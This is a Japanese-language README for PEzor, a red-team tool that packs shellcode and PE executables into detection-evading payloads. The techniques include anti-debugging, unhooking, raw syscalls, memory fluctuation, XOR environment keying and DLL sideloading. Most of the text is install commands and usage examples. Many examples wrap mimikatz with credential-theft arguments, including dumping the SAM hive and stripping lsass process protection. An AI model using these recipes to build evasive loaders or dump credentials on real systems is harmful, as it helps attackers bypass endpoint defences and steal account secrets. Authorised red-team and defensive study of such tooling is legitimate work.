
シェルコードとPE実行ファイルを、アンチデバッグ、アンフッキング、システムコール、およびメモリ変動技術を使用した回避型ペイロードにパックし、レッドチーム運用に使用します。
ブログ記事はこちらをご覧ください:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
install.sh は Kali Linux ディストリビューションで動作するように設計されています。
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
PATH 変数は Donut の特定のコミットを使用するために更新する必要があります!更新された install.sh スクリプトを確認してください。
PEzor helpPEzor のヘルプを表示する
USAGE
$ PEzor help
PEzor <EXECUTABLE>指定された実行可能ファイルを新しいものにパッケージ化する
OPTIONS
-h 使用法を表示して終了
-32 32ビット実行可能ファイルを強制
-64 64ビット実行可能ファイルを強制
-debug デバッグビルドを生成
-unhook ユーザーランドフックの削除
-antidebug アンチデバッグチェックを追加
-syscalls 生のシステムコールを使用 [64ビットのみ] [Windows 10のみ]
-sgn 生成されたシェルコードを sgn でエンコード
-text シェルコードを .data ではなく .text セクションに格納
-rx シェルコード用の RX メモリを割り当て
-self 同じスレッドでシェルコードを実行
-sdk=VERSION 指定された .NET Framework バージョンを使用 (2, 4, 4.5 (デフォルト))
-cleanup 割り当てられたペイロードとロードされたモジュールのクリーンアップを実行 (BOF のみ)
-sleep=N シェルコードをアンパックする前に N 秒間スリープ
-format=FORMAT 指定された FORMAT で結果を出力 (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Sleep() をフックしてメモリ領域を PROTECTION (RW または NA) に変動させる
-xorkey=KEY シンプルなマルチバイト XOR でペイロードを暗号化、実行時に GetComputerNameExA(ComputerNameDnsFullyQualified) を使用してキーを取得
[donut args...] パッケージ化する実行可能ファイルの後に、-z 2 などの追加の Donut 引数を渡すことができます
EXAMPLES
# 64ビット (自己注入 RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64ビット (自己注入 RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64ビット (生のシステムコール)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64ビット (スリープ中に READWRITE に変動)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64ビット (スリープ中に NOACCESS に変動)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64ビット (GetComputerNameExA を使用した環境キーイング)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64ビット (PE ヘッダーをメモリに保持することでリソースを持つ EXE をサポート)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64ビット (ビーコンオブジェクトファイル)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64ビット (クリーンアップ付きビーコンオブジェクトファイル)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64ビット (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64ビット (dll サイドロード)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64ビット (リフレクティブ dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64ビット (サービス exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64ビット (サービス dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64ビット (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64ビット (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64ビット (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32ビット (自己注入)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32ビット (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32ビット (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) と donut の引数
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>指定されたシェルコードを実行可能ファイルにパッケージ化する
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h 使用法を表示して終了
-32 32ビット実行可能ファイルを強制
-64 64ビット実行可能ファイルを強制
-debug デバッグビルドを生成
-unhook ユーザーランドフックの削除
-antidebug アンチデバッグチェックを追加
-shellcode シェルコード検出を強制
-syscalls 生のシステムコールを使用 [64ビットのみ] [Windows 10のみ]
-sgn 提供されたシェルコードを sgn でエンコード
-text シェルコードを .data ではなく .text セクションに格納
-rx シェルコード用の RX メモリを割り当て
-self 同じスレッドでシェルコードを実行 [RX シェルコードが必要、-sgn と互換性がありません]
-cleanup 割り当てられたペイロードとロードされたモジュールのクリーンアップを実行 (BOF のみ)
-sleep=N シェルコードをアンパックする前に N 秒間スリープ
-format=FORMAT 指定された FORMAT で結果を出力 (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Sleep() をフックしてメモリ領域を PROTECTION (RW または NA) に変動させる
-xorkey=KEY シンプルなマルチバイト XOR でペイロードを暗号化、実行時に GetComputerNameExA(ComputerNameDnsFullyQualified) を使用してキーを取得
EXAMPLES
# 64ビット (自己注入 RWX)
$ PEzor.sh shellcode.bin
# 64ビット (自己注入 RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64ビット (自己注入)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64ビット (生のシステムコール)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64ビット (スリープ中に READWRITE に変動)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64ビット (スリープ中に NOACCESS に変動)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64ビット (GetComputerNameExA を使用した環境キーイング)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64ビット (ビーコンオブジェクトファイル)
$ PEzor.sh -format=bof shellcode.bin
# 64ビット (クリーンアップ付きビーコンオブジェクトファイル)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64ビット (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64ビット (dll サイドロード)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64ビット (リフレクティブ dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64ビット (サービス exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64ビット (サービス dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64ビット (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64ビット (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64ビット (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32ビット (自己注入)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32ビット (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
コードを参照: PEzor.sh